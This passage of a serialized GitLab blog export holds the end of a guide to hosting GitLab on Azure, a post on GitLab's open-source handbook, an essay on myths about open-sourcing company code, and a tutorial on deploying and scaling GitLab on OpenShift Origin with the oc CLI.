GitLab](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-welcome.png)\n\nI'm going to make this a private project called \"demo\":\n\n![GitLab - create new project](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-create-project.png)\n\nIt only takes a few moments to create the project and the next screen\nwill show you the commands to begin working with your new repository\nlocally.\n\n![GitLab - project git config](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-new-project.png)\n\nFollowing these instructions you should be able to push and pull from\nyour new GitLab repository.\n\nThat's it! You have a working GitLab environment!\n\n## Maintaining your GitLab instance\n\nIt's important to keep your GitLab environment up-to-date and since the GitLab\nteam is constantly making enhancements to the product, occasionally you may\nneed to upgrade for security reasons.\n\nLet's review how to upgrade GitLab. When you click on the \"Admin Area\" wrench,\nGitLab will tell you whether there are updates available. In the following\nscreenshot we are told to update ASAP, and this is because there is a\nsecurity fix.\n\n![GitLab - update asap](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-update-asap.png)\n\nOn the screenshot we can see the current Azure Marketplace offered GitLab CE\nversion 8.6.5, and there is an update available. To update you need to connect\nto your Ubuntu server using [PuTTY] or an equivalent SSH tool. Remember to log\nin with the username and password you specified [when you created](#basics)\nyour Azure VM.\n\nIn your terminal type in the following to connect to your VM:\n\n```bash\nssh user@gitlab-ce-test.westeurope.cloudapp.azure.com\n```\n\nProvide your password at the prompt to authenticate.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nYour domain name will differ and is the one we [set up previously](#set-up-a-domain-name).\nYou can also use the public IP instead of the domain name.\n{: .alert .alert-info}\n\nOnce you login, use the following command to upgrade GitLab to the latest\nversion.\n\n```bash\nsudo apt-get update && sudo apt-get install gitlab-ce\n```\n\nOnce it completes you should have an up-to-date GitLab instance!\n\n![GitLab up to date](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-up-to-date.png)\n\n## Conclusion\n\nGitLab is a great Git repo tool, plus a whole lot more. In this post we\nlooked at how to run GitLab using the Azure Marketplace offering. Azure\nis a great way to experiment with GitLab. If you decide, like me, that\nGitLab is the best [solution for source code management](/solutions/source-code-management/) you can continue\nto use Azure as your secure, scalable cloud provider.\n\n## About guest author\n\nThis is a guest blog post by Dave Wentzel, a Data Solution Architect\nwith Microsoft. \u003C!-- Dave: improve at will, if you wish. -->\n\n\n\u003C!-- Identifiers -->\n\n[ce]: /downloads/\n[ee]: /pricing/\n[free-trial]: https://azure.microsoft.com/en-us/free/\n[msdn-benefits]: https://azure.microsoft.com/en-us/pricing/member-offers/msdn-benefits-details/?WT.mc_id=A261C142F\n[marketplace]: https://azure.microsoft.com/en-us/marketplace/\n[Microsoft Azure]: https://azure.microsoft.com/en-us/\n[ms-open]: https://stackoverflow.com/questions/33653726/azure-file-share-backup-database-to-mounted-drive\n[portal.azure.com]: https://portal.azure.com\n[putty]: http://www.putty.org/\n",{"slug":37882,"featured":6,"template":678},"how-to-setup-a-gitlab-instance-on-microsoft-azure","content:en-us:blog:how-to-setup-a-gitlab-instance-on-microsoft-azure.yml","How To Setup A Gitlab Instance On Microsoft Azure","en-us/blog/how-to-setup-a-gitlab-instance-on-microsoft-azure.yml","en-us/blog/how-to-setup-a-gitlab-instance-on-microsoft-azure",{"_path":37888,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37889,"content":37894,"config":37898,"_id":37900,"_type":16,"title":37901,"_source":17,"_file":37902,"_stem":37903,"_extension":20},"/en-us/blog/our-handbook-is-open-source-heres-why",{"title":37890,"description":37891,"ogTitle":37890,"ogDescription":37891,"noIndex":6,"ogImage":37745,"ogUrl":37892,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37892,"schema":37893},"Our Handbook is open source: here's why","In this post we’re explaining the reasons why having an open source Handbook works for us and how it can help you.","https://about.gitlab.com/blog/our-handbook-is-open-source-heres-why","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our Handbook is open source: here's why\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-07-12\",\n      }",{"title":37890,"description":37891,"authors":37895,"heroImage":37745,"date":37896,"body":37897,"category":6634},[3532],"2016-07-12","\nIn the past two years we’ve gone from a team of 10 people to a team of 90+, spread across \n26 countries. As a remote-only company, there is a stronger need to document and broadly share \nour policies and procedures.\n\nIn this post we’re explaining the reasons why having an open source Handbook\nworks for us, and how it can help you, whether you’re working at or running a company of\nyour own.\n\n\u003C!-- more -->\n\n## Remote-only communications \n\nEffective communication is the lifeblood of any company or team. At GitLab, \nwe needed to ensure our communications methods were scalable for a growing company, and that \nthey could simplify onboarding for new hires in various countries. Since at a remote-only\ncompany you can’t turn to the person next to you and ask where a file is kept. We needed\nsomething that everyone could access, no matter where they are.\n\nPlus, we value results, transparency, sharing, efficiency, and collaboration.\nWith all that in mind, it just made sense that we would create an open source\ncompany [Handbook]. Our Handbook is actually under a [Creative Commons][cc-by] license,\nmeaning that as long you attribute GitLab you’re free to copy and use it at will. \nWe welcome you to do that if you wish!\nThis way nobody has to reinvent the wheel.\n\nRunning a company out in the open isn’t the usual way,\nand we want more people to be doing it. By putting our\nHandbook out in the open, we’re making it easy for people to pick up on what\nwe’ve already learned, without having to start from square one. You can also\nsee how we achieved the current thinking, since you can see historical states and edits.\n\n## Hiring\n\nPeople considering a job will know what they’re getting into. Having an openly\navailable Handbook makes it pretty easy for people to learn about our company\nculture and processes before they decide to work here. As part of the hiring\nprocess, it makes things more efficient. \n\n> _Being able to get a look inside the company and not having to fully rely on the\nrepresentatives of the company makes you feel more confident — you don’t feel like\nyou’re being sold. By looking at the handbook, I was able to answer key questions like, \"do I see myself \nworking here\" and \"is everything I’m hearing from my interviewers aligned with what I’m reading in the Handbook?\"\nFor me, I could see myself working in an organization that had thoughtfully crafted how teams could best work together.\nAnd three months in to my role at GitLab, the Handbook is aligned with what I heard and it is constantly being\nupdated to reflect the latest needs of our team.”_ - [Amara Nwaigwe], Senior Product Marketing Manager at GitLab.\n\n## Transparency\n\nTransparency keeps us honest. If we don’t want to publicize a company policy or practice,\nthat probably means it shouldn’t be part of our company culture. Putting it all out\nthere ensures we keep our practices up to a high standard.\n\n## WIP\n\nWhen Handbooks are not open and not easily accessible, they often grow stale. The reality is that companies are fluid. \nCompanies scale up and down, people come and go, processes changes, and priorities shift. Amidst all of that change, \nwe believe that it is important to have a central place where the full team can make changes to update the \nworking guidelines to reflect the organization at its current state. Our Handbook is \nalways a Work in Progress (WIP). We use the same procedures to change our Handbook as we do for\neverything else, so changing a process = changing the Handbook. It’s totally simultaneous.\nIt’s also very easy to see how a process has changed by looking at the history of\nmerge requests associated with it.\n\n## Efficiency\n\nAn open Handbook that is always updated to reflect the latest policies and procedures means that \neveryone is up to speed. Onboarding new hires — and onboarding everyone regarding new\npolicies — is time consuming, and someone is always left out. If time is tight, training\nsuffers. Having a living, open-source Handbook means that when changes are made, we all know.\nEveryone is always up to speed on what has changed and why.\n\n## Advice on getting started\n\nIf you've ventured off this page to take a look at our Handbook you're probably thinking, \nthat thing is massive and it's unrealistic that your team will find the time to create something like that. \nHere's some advice to help you get started. \n\n* Think about the processes that are universal to your team or company (e.g. values, onboarding, communication, etc.). Focus on these first because they are the ones that most people will have opinions on and they will have the largest effect on your organization because they impact nearly everyone at the company.\n* Create a shared document and ask others to contribute to it. We believe everyone can contribute and that collaborating yields better results, faster. \n* Don't reinvent the wheel. Borrow content from other companies and Handbooks you admire. \n* Just start. Starting is always the hardest part. However, if you accept that your Handbook will (and should) evolve over time, then you'll feel more comfortable getting something out there. \n\nHave an idea for our Handbook? Want to use it to create your own? Feel free to drop us a line [@GitLab]!\n\n\u003C!-- Identifiers, in alphabetical order -->\n\n[Amara Nwaigwe]: https://twitter.com/its_amaracle\n[@GitLab]: https://twitter.com/gitlab\n[cc-by]: https://creativecommons.org/licenses/by-sa/4.0/\n[Handbook]: /handbook/\n",{"slug":37899,"featured":6,"template":678},"our-handbook-is-open-source-heres-why","content:en-us:blog:our-handbook-is-open-source-heres-why.yml","Our Handbook Is Open Source Heres Why","en-us/blog/our-handbook-is-open-source-heres-why.yml","en-us/blog/our-handbook-is-open-source-heres-why",{"_path":37905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37906,"content":37911,"config":37915,"_id":37917,"_type":16,"title":37918,"_source":17,"_file":37919,"_stem":37920,"_extension":20},"/en-us/blog/7-myths-about-open-source",{"title":37907,"description":37908,"ogTitle":37907,"ogDescription":37908,"noIndex":6,"ogImage":14458,"ogUrl":37909,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37909,"schema":37910},"7 Myths About Open Sourcing Your Company's Software","Here are some common misconceptions about what happens when you open source your code.","https://about.gitlab.com/blog/7-myths-about-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 Myths About Open Sourcing Your Company's Software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Folson\"}],\n        \"datePublished\": \"2016-07-08\",\n      }",{"title":37907,"description":37908,"authors":37912,"heroImage":14458,"date":37913,"body":37914,"category":813},[35602],"2016-07-08","\n\nMany companies benefit from open source, and countless companies have opted to open source components of their infrastructure (or even their bread and butter) in an effort to give back. However, there are a lot of misconceptions about what happens when you open up your business' code and workflows to the public, and as companies delve into how to apply open principles within their organization, it's easy to get lost in the weeds. Here are some common misconceptions about what happens when you open source your code.\n\n\u003C!-- more -->\n\n**Myth #1: Open source is giving my business away for nothing**\n{: .alert .alert-info}\n\nFalse! Open sourcing your infrastructure/apps is giving your code away in hopes that someone else finds it useful. Opening up your source code allows people to modify it to suit their needs, but also allows people to submit bug fixes and new features.\n\nYour business is a separate entity, and there's a lot more to it than your code.\n\n**Myth #2: We'll lose control of everything**\n{: .alert .alert-info}\n\nAlso false. Just because the code is out there doesn't mean you'll lose total control of it. The code is still yours, you're just letting other people use it. Sure, someone could fork your project. If you take the time to pick out a solid open source license, you'll likely be allowed to merge their changes back into your project if you desire.\n\n**Myth #3: There's no value to open source**\n{: .alert .alert-info}\n\nWindows, macOS, and Linux all contain open source components. Your web hosting stack is probably comprised of mostly open source projects. Even your cell phone has open source software on it, so this statement is demonstrably false.\n\n**Myth #4: Someone will steal my idea**\n{: .alert .alert-info}\n\nIs your idea really unique? Maybe, maybe not—but never underestimate the value of the business around the project. As stated previously, there's a lot more to this than just giving away the source code. Product management and marketing can be key differentiators between you and your competitors.\n\nMicrosoft had the market cornered on enterprise productivity with tools like Office and Outlook. Open source alternatives have been made for both. Social networks, CRM software, operating systems, ride sharing apps, and even knitting patterns all have open alternatives. If you build it, they'll open source it.\n\n**Myth #5: My bottom line will plummet**\n{: .alert .alert-info}\n\nIt's possible, but extremely unlikely as a direct result of open sourcing your code. If you take the time to build a healthy ecosystem around your projects, you'll likely find that you bring in more business as your project develops a reputation.\n\n**Myth #6: We'll go out of business**\n{: .alert .alert-info}\n\nAlso unlikely. There are numerous companies that have open sourced projects that are critical to their business, and they happen to still be in business. Red Hat, Rackspace, Comcast, and more have all released countless projects and all are still multi-billion dollar companies. It's possible to be open and profitable.\n\n**Myth #7: Competitors will steal our stuff**\n{: .alert .alert-info}\n\nThey might copy your features even if your source is closed. Open sourcing code allows them to see the logic of features, but doesn't necessarily make it easier for them to integrate it into their own work. It's also fairly obvious to some consumers when businesses start copying each other. As stated previously (and I still can't state it enough), there is much more to a business than the source code that runs it.\n\nMaking the choice to open source something can be scary, but it doesn't need to be. Open source is here to stay—isn't it time you gave back?\n\n*This post was originally featured on [Opensource.com](https://opensource.com/business/16/6/7-myths-about-open-sourcing-your-companys-software) and is licensed under a [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) license.*\n",{"slug":37916,"featured":6,"template":678},"7-myths-about-open-source","content:en-us:blog:7-myths-about-open-source.yml","7 Myths About Open Source","en-us/blog/7-myths-about-open-source.yml","en-us/blog/7-myths-about-open-source",{"_path":37922,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37923,"content":37928,"config":37932,"_id":37934,"_type":16,"title":37935,"_source":17,"_file":37936,"_stem":37937,"_extension":20},"/en-us/blog/get-started-with-openshift-origin-3-and-gitlab",{"title":37924,"description":37925,"ogTitle":37924,"ogDescription":37925,"noIndex":6,"ogImage":17364,"ogUrl":37926,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37926,"schema":37927},"Get started with OpenShift Origin 3 and GitLab","In this tutorial, we will see how to deploy GitLab in OpenShift using GitLab's official Docker image","https://about.gitlab.com/blog/get-started-with-openshift-origin-3-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get started with OpenShift Origin 3 and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-06-28\",\n      }",{"title":37924,"description":37925,"authors":37929,"heroImage":17364,"date":37930,"body":37931,"category":734},[35789],"2016-06-28","\n> Note: This article is deprecated. It is now recommended to use the official\n> Kubernetes Helm charts for installing GitLab to OpenShift. Check out the\n> [official installation docs](https://gitlab.com/charts/gitlab/blob/master/doc/cloud/openshift.md)\n> for details.\n\n> Note: This article has been moved to a [technical article](https://docs.gitlab.com/ee/install/openshift_and_gitlab/index.html) so it can be more easily updated. We recommend using [the article](https://docs.gitlab.com/ee/install/openshift_and_gitlab/index.html).\n\n[OpenShift Origin][openshift] is an open source container application\nplatform created by [RedHat], based on [kubernetes] and [Docker]. That means\nyou can host your own PaaS for free and almost with no hassle.\n\nIn this tutorial, we will see how to deploy GitLab in OpenShift using GitLab's\nofficial Docker image while getting familiar with the web interface and CLI\ntools that will help us achieve our goal.\n\n## Prerequisites\n\nOpenShift 3 is not yet deployed on RedHat's offered Online platform ([openshift.com]),\nso in order to test it, we will use an [all-in-one Virtualbox image][vm] that is\noffered by the OpenShift developers and managed by Vagrant. If you haven't done\nalready, go ahead and install the following components as they are essential to\ntest OpenShift easily:\n\n- [VirtualBox]\n- [Vagrant]\n- [OpenShift Client][oc] (`oc` for short)\n\nIt is also important to mention that for the purposes of this tutorial, the\nlatest Origin release is used:\n\n- **oc** `v1.3.0` (must be [installed][oc-gh] locally on your computer)\n- **openshift** `v1.3.0` (is pre-installed in the [VM image][vm-new])\n- **kubernetes** `v1.3.0` (is pre-installed in the [VM image][vm-new])\n\nIf you intend to deploy GitLab on a production OpenShift cluster, there are some\nlimitations to bare in mind. Read on the [limitations](#current-limitations)\nsection for more information and follow the linked links for the relevant\ndiscussions.\n\nNow that you have all batteries, let's see how easy it is to test OpenShift\non your computer.\n\n## Getting familiar with OpenShift Origin\n\nThe environment we are about to use is based on CentOS 7 which comes with all\nthe tools needed pre-installed: Docker, kubernetes, OpenShift, etcd.\n\n### Test OpenShift using Vagrant\n\nAs of this writing, the all-in-one VM is at version 1.3, and that's\nwhat we will use in this tutorial.\n\nIn short:\n\n1. Open a terminal and in a new directory run:\n   ```sh\n   vagrant init openshift/origin-all-in-one\n   ```\n1. This will generate a Vagrantfile based on the all-in-one VM image\n1. In the same directory where you generated the Vagrantfile\n   enter:\n\n   ```sh\n   vagrant up\n   ```\n\nThis will download the VirtualBox image and fire up the VM with some preconfigured\nvalues as you can see in the Vagrantfile. As you may have noticed, you need\nplenty of RAM (5GB in our example), so make sure you have enough.\n\nNow that OpenShift is set up, let's see how the web console looks like.\n\n### Explore the OpenShift web console\n\nOnce Vagrant finishes its thing with the VM, you will be presented with a\nmessage which has some important information. One of them is the IP address\nof the deployed OpenShift platform and in particular \u003Chttps://10.2.2.2:8443/console/>.\nOpen this link with your browser and accept the self-signed certificate in\norder to proceed.\n\nLet's login as admin with username/password `admin/admin`. This is what the\nlanding page looks like:\n\n![openshift web console](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/web-console.png)\n\nYou can see that a number of [projects] are already created for testing purposes.\n\nIf you head over the `openshift-infra` project, a number of services with their\nrespective pods are there to explore.\n\n![openshift web console](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/openshift-infra-project.png)\n\nWe are not going to explore the whole interface, but if you want to learn about\nthe key concepts of OpenShift, read the [core concepts reference][core] in the\nofficial documentation.\n\n### Explore the OpenShift CLI\n\nOpenShift Client (`oc`), is a powerful CLI tool that talks to the OpenShift API\nand performs pretty much everything you can do from the web UI and much more.\n\nAssuming you have [installed][oc] it, let's explore some of its main\nfunctionalities.\n\nLet's first see the version of `oc`:\n\n```sh\n$ oc version\n\noc v1.3.0\nkubernetes v1.3.0+52492b4\n```\n\nWith `oc help` you can see the top level arguments you can run with `oc` and\ninteract with your cluster, kubernetes, run applications, create projects and\nmuch more.\n\nLet's login to the all-in-one VM and see how to achieve the same results like\nwhen we visited the web console earlier. The username/password for the\nadministrator user is `admin/admin`. There is also a test user with username/\npassword `user/user`, with limited access. Let's login as admin for the moment:\n\n```sh\n$ oc login https://10.2.2.2:8443\n\nAuthentication required for https://10.2.2.2:8443 (openshift)\nUsername: admin\nPassword:\nLogin successful.\n\nYou have access to the following projects and can switch between them with 'oc project \u003Cprojectname>':\n\n  * cockpit\n  * default (current)\n  * delete\n  * openshift\n  * openshift-infra\n  * sample\n\nUsing project \"default\".\n```\n\nSwitch to the `openshift-infra` project with:\n\n```sh\noc project openshift-infra\n```\n\nAnd finally, see its status:\n\n```sh\noc status\n```\n\nThe last command should spit a bunch of information about the statuses of the\npods and the services, which if you look closely is what we encountered in the\nsecond image when we explored the web console.\n\nYou can always read more about `oc` in the [OpenShift CLI documentation][oc].\n\n### Troubleshooting the all-in-one VM\n\nUsing the all-in-one VM gives you the ability to test OpenShift whenever you\nwant. That means you get to play with it, shutdown the VM, and pick up where\nyou left off.\n\nSometimes though, you may encounter some issues, like OpenShift not running\nwhen booting up the VM. The web UI may not responding or you may see issues\nwhen trying to login with `oc`, like:\n\n```\nThe connection to the server 10.2.2.2:8443 was refused - did you specify the right host or port?\n```\n\nIn that case, the OpenShift service might not be running, so in order to fix it:\n\n1. SSH into the VM by going to the directory where the Vagrantfile is and then\n   run:\n\n   ```sh\n   vagrant ssh\n   ```\n\n1. Run `systemctl` and verify by the output that the `openshift` service is not\n   running (it will be in red color). If that's the case start the service with:\n\n   ```sh\n   sudo systemctl start openshift\n   ```\n\n1. Verify the service is up with:\n\n   ```sh\n   systemctl status openshift -l\n   ```\n\nNow you will be able to login using `oc` (like we did before) and visit the web\nconsole.\n\n## Deploy GitLab\n\nNow that you got a taste of what OpenShift looks like, let's deploy GitLab!\n\n### Create a new project\n\nFirst, we will create a new project to host our application. You can do this\neither by running the CLI client:\n\n```bash\n$ oc new-project gitlab\n```\n\nor by using the web interface:\n\n![Create a new project from the UI](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/create-project-ui.png)\n\nIf you used the command line, `oc` automatically uses the new project and you\ncan see its status with:\n\n```sh\n$ oc status\n\nIn project gitlab on server https://10.2.2.2:8443\n\nYou have no services, deployment configs, or build configs.\nRun 'oc new-app' to create an application.\n```\n\nIf you visit the web console, you can now see `gitlab` listed in the projects list.\n\nThe next step is to import the OpenShift template for GitLab.\n\n### Import the template\n\nThe [template][templates] is basically a JSON file which describes a set of\nrelated object definitions to be created together, as well as a set of\nparameters for those objects.\n\nThe template for GitLab resides in the Omnibus GitLab repository under the\ndocker directory. Let's download it locally with `wget`:\n\n```bash\nwget https://gitlab.com/gitlab-org/omnibus-gitlab/raw/master/docker/openshift-template.json\n```\n\nAnd then let's import it in OpenShift:\n\n```bash\noc create -f openshift-template.json -n openshift\n```\n\n**Note**\n\nThe `-n openshift` namespace flag is a trick to make the template available to all\nprojects. If you recall from when we created the `gitlab` project, `oc` switched\nto it automatically, and that can be verified by the `oc status` command. If\nyou omit the namespace flag, the application will be available only to the\ncurrent project, in our case `gitlab`. The `openshift` namespace is a global\none that the administrators should use if they want the application to be\navailable to all users.\n\nWe are now ready to finally deploy GitLab!\n\n### Create a new application\n\nThe next step is to use the template we previously imported. Head over to the\n`gitlab` project and hit the **Add to Project** button.\n\n![Add to project](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/add-to-project.png)\n\nThis will bring you to the catalog where you can find all the pre-defined\napplications ready to deploy with the click of a button. Search for `gitlab`\nand you will see the previously imported template:\n\n![Add GitLab to project](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/add-gitlab-to-project.png)\n\nSelect it, and in the following screen you will be presented with the predefined\nvalues used with the GitLab template:\n\n![GitLab settings](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/gitlab-settings.png)\n\nNotice at the top that there are three resources to be created with this\ntemplate:\n\n- `gitlab-ce`\n- `gitlab-ce-redis`\n- `gitlab-ce-postgresql`\n\nWhile PostgreSQL and Redis are bundled in Omnibus GitLab, the template is using\nseparate images as you can see from [this line][line] in the template.\n\nThe predefined values have been calculated for the purposes of testing out\nGitLab in the all-in-one VM. You don't need to change anything here, hit\n**Create** to start the deployment.\n\nIf you are deploying to production you will want to change the **GitLab instance\nhostname** and use greater values for the volume sizes. If you don't provide a\npassword for PostgreSQL, it will be created automatically.\n\n**Note**\n\nThe `gitlab.apps.10.2.2.2.xip.io` hostname that is used by default will\nresolve to the host with IP `10.2.2.2` which is the IP our VM uses. It is a\ntrick to have distinct FQDNs pointing to services that are on our local network.\nRead more on how this works in \u003Chttp://xip.io>.\n\nNow that we configured this, let's see how to manage and scale GitLab.\n\n## Manage and scale GitLab\n\nSetting up GitLab for the first time might take a while depending on your\ninternet connection and the resources you have attached to the all-in-one VM.\nGitLab's docker image is quite big (~500MB), so you'll have to wait until\nit's downloaded and configured before you use it.\n\n### Watch while GitLab gets deployed\n\nNavigate to the `gitlab` project at **Overview**. You can notice that the\ndeployment is in progress by the orange color. The Docker images are being\ndownloaded and soon they will be up and running.\n\n![GitLab overview](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/gitlab-overview.png)\n\nSwitch to the **Browse > Pods** and you will eventually see all 3 pods in a\nrunning status. Remember the 3 resources that were to be created when we first\ncreated the GitLab app? This is where you can see them in action.\n\n![Running pods](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/running-pods.png)\n\nYou can see GitLab being reconfigured by taking look at the logs in realtime.\nClick on `gitlab-ce-2-j7ioe` (your ID will be different) and go to the **Logs**\ntab.\n\n![GitLab logs](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/gitlab-logs.png)\n\nAt a point you should see a _**gitlab Reconfigured!**_ message in the logs.\nNavigate back to the **Overview** and hopefully all pods will be up and running.\n\n![GitLab running](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/gitlab-running.png)\n\nCongratulations! You can now navigate to your new shinny GitLab instance by\nvisiting \u003Chttp://gitlab.apps.10.2.2.2.xip.io> where you will be asked to\nchange the root user password. Login using `root` as username and providing the\npassword you just set, and start using GitLab!\n\n### Scale GitLab with the push of a button\n\nIf you reach to a point where your GitLab instance could benefit from a boost\nof resources, you'd be happy to know that you can scale up with the push of a\nbutton.\n\nIn the **Overview** page just click the up arrow button in the pod where\nGitLab is. The change is instant and you can see the number of [replicas] now\nrunning scaled to 2.\n\n![GitLab scale](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/gitlab-scale.png)\n\nUpping the GitLab pods is actually like adding new application servers to your\ncluster. You can see how that would work if you didn't use GitLab with\nOpenShift by following the [HA documentation][ha] for the application servers.\n\nBare in mind that you may need more resources (CPU, RAM, disk space) when you\nscale up. If a pod is in pending state for too long, you can navigate to\n**Browse > Events** and see the reason and message of the state.\n\n![No resources](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/no-resources.png)\n\n### Scale GitLab using the `oc` CLI\n\nUsing `oc` is super easy to scale up the replicas of a pod. You may want to\nskim through the [basic CLI operations][basic-cli] to get a taste how the CLI\ncommands are used. Pay extra attention to the object types as we will use some\nof them and their abbreviated versions below.\n\nIn order to scale up, we need to find out the name of the replication controller.\nLet's see how to do that using the following steps.\n\n1. Make sure you are in the `gitlab` project:\n\n   ```sh\n   oc project gitlab\n   ```\n\n1. See what services are used for this project:\n\n   ```sh\n   oc get svc\n   ```\n\n   The output will be similar to:\n\n   ```\n   NAME                   CLUSTER-IP       EXTERNAL-IP   PORT(S)         AGE\n   gitlab-ce              172.30.243.177   \u003Cnone>        22/TCP,80/TCP   5d\n   gitlab-ce-postgresql   172.30.116.75    \u003Cnone>        5432/TCP        5d\n   gitlab-ce-redis        172.30.105.88    \u003Cnone>        6379/TCP        5d\n   ```\n\n1. We need to see the replication controllers of the `gitlab-ce` service.\n   Get a detailed view of the current ones:\n\n   ```sh\n   oc describe rc gitlab-ce\n   ```\n\n   This will return a large detailed list of the current replication controllers.\n   Search for the name of the GitLab controller, usually `gitlab-ce-1` or if\n   that failed at some point and you spawned another one, it will be named\n   `gitlab-ce-2`.\n\n1. Scale GitLab using the previous information:\n\n   ```sh\n   oc scale --replicas=2 replicationcontrollers gitlab-ce-2\n   ```\n\n1. Get the new replicas number to make sure scaling worked:\n\n   ```sh\n   oc get rc gitlab-ce-2\n   ```\n\n   which will return something like:\n\n   ```\n   NAME          DESIRED   CURRENT   AGE\n   gitlab-ce-2   2         2         5d\n   ```\n\nAnd that's it! We successfully scaled the replicas to 2 using the CLI.\n\nAs always, you can find the name of the controller using the web console. Just\nclick on the service you are interested in and you will see the details in the\nright sidebar.\n\n![Replication controller name](https://about.gitlab.com/images/blogimages/get-started-with-openshift-origin-3-and-gitlab/rc-name.png)\n\n### Autoscaling GitLab\n\nIn case you were wondering whether there is an option to autoscale a pod based\non the resources of your server, the answer is yes, of course there is.\n\nWe will not expand on this matter, but feel free to read the documentation on\nOpenShift's website about [autoscaling].\n\n## Current limitations\n\nAs stated in the [all-in-one VM][vm] page:\n\n> By default, OpenShift will not allow a container to run as root or even a\nnon-random container assigned userid. Most Docker images in the Dockerhub do not\nfollow this best practice and instead run as root.\n\nThe all-in-one VM we are using has this security turned off so it will not\nbother us. In any case, it is something to keep in mind when deploying GitLab\non a production cluster.\n\nIn order to deploy GitLab on a production cluster, you will need to assign the\nGitLab service account  to the `anyuid` Security Context.\n\n1. Edit the Security Context:\n   ```sh\n   oc edit scc anyuid\n   ```\n\n1. Add `system:serviceaccount:\u003Cproject>:gitlab-ce-user` to the `users` section.\n   If you changed the Application Name from the default the user will\n     will be `\u003Capp-name>-user` instead of `gitlab-ce-user`\n\n1. Save and exit the editor\n\n## Conclusion\n\nBy now, you should have an understanding of the basic OpenShift Origin concepts\nand a sense of how things work using the web console or the CLI.\n\nGitLab was hard to install in previous versions of OpenShift,\nbut now that belongs to the past. Upload a template, create a project, add an\napplication and you are done. You are ready to login to your new GitLab instance.\n\nAnd remember that in this tutorial we just scratched the surface of what Origin\nis capable of. As always, you can refer to the detailed\n[documentation][openshift-docs] to learn more about deploying your own OpenShift\nPaaS and managing your applications with the ease of containers.\n\n[RedHat]: https://www.redhat.com/en \"RedHat website\"\n[openshift]: https://www.openshift.org \"OpenShift Origin website\"\n[vm]: https://www.openshift.org/vm/ \"OpenShift All-in-one VM\"\n[vm-new]: https://atlas.hashicorp.com/openshift/boxes/origin-all-in-one \"Official OpenShift Vagrant box on Atlas\"\n[template]: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/docker/openshift-template.json \"OpenShift template for GitLab\"\n[openshift.com]: https://openshift.com \"OpenShift Online\"\n[kubernetes]: http://kubernetes.io/ \"Kubernetes website\"\n[Docker]: https://www.docker.com \"Docker website\"\n[oc]: https://docs.openshift.org/latest/cli_reference/get_started_cli.html \"Documentation - oc CLI documentation\"\n[VirtualBox]: https://www.virtualbox.org/wiki/Downloads \"VirtualBox downloads\"\n[Vagrant]: https://www.vagrantup.com/downloads.html \"Vagrant downloads\"\n[projects]: https://docs.openshift.org/latest/dev_guide/projects.html \"Documentation - Projects overview\"\n[core]: https://docs.openshift.org/latest/architecture/core_concepts/index.html \"Documentation - Core concepts of OpenShift Origin\"\n[templates]: https://docs.openshift.org/latest/architecture/core_concepts/templates.html \"Documentation - OpenShift templates\"\n[old-post]: https://blog.openshift.com/deploy-gitlab-openshift/ \"Old post - Deploy GitLab on OpenShift\"\n[line]: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/658c065c8d022ce858dd63eaeeadb0b2ddc8deea/docker/openshift-template.json#L239 \"GitLab - OpenShift template\"\n[oc-gh]: https://github.com/openshift/origin/releases/tag/v1.3.0 \"Openshift 1.3.0 release on GitHub\"\n[ha]: https://docs.gitlab.com/ee/administration/reference_architectures/index.html \"Documentation - GitLab High Availability\"\n[replicas]: https://docs.openshift.org/latest/architecture/core_concepts/deployments.html#replication-controllers \"Documentation - Replication controller\"\n[autoscaling]: https://docs.openshift.org/latest/dev_guide/pod_autoscaling.html \"Documentation - Autoscale\"\n[basic-cli]: https://docs.openshift.org/latest/cli_reference/basic_cli_operations.html \"Documentation - Basic CLI operations\"\n[openshift-docs]: https://docs.openshift.org \"OpenShift documentation\"\n",{"slug":37933,"featured":6,"template":678},"get-started-with-openshift-origin-3-and-gitlab","content:en-us:blog:get-started-with-openshift-origin-3-and-gitlab.yml","Get Started With Openshift Origin 3 And 